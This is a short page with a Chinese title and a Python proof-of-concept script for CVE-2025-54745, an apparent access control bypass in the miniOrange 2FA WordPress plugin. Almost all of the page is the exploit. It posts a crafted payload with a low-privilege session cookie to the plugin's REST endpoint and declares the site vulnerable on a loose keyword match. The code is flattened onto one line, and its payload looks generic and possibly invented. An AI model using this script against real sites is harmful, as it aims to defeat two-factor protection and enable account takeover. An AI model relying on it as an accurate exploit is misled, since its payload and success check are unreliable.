CVE-2025-54745 WordPress miniOrange双因素认证插件访问控制漏洞

# CVE-2025-54745 PoC - miniOrange 2FA Broken Access Control # This PoC demonstrates the access control bypass in miniOrange 2FA plugin import requests import sys TARGET_URL = "http://target-wordpress-site.com" VULN_ENDPOINT = "/wp-json/miniorange-2fa/" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-54745 """ headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-54745-PoC)", "Content-Type": "application/json" } # Step 1: Identify vulnerable endpoint vuln_url = f"{TARGET_URL}{VULN_ENDPOINT}" # Step 2: Test with low-privilege user session # Attacker uses a low-privilege user session to access admin functions low_priv_cookies = { "wordpress_logged_in_user": "low_priv_user_session_id" } # Step 3: Attempt to bypass access control exploit_payload = { "action": "mo2fa_ajax", "subaction": "verify_challenge", "bypass_auth": True } try: response = requests.post( vuln_url, json=exploit_payload, headers=headers, cookies=low_priv_cookies, timeout=10 ) if response.status_code == 200: # Check if access control was bypassed if "success" in response.text or "valid" in response.text: print("[+] VULNERABLE: Access control bypass confirmed") return True print("[-] Target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-54745 - miniOrange 2FA Access Control Bypass PoC") print("=" * 60) check_vulnerability()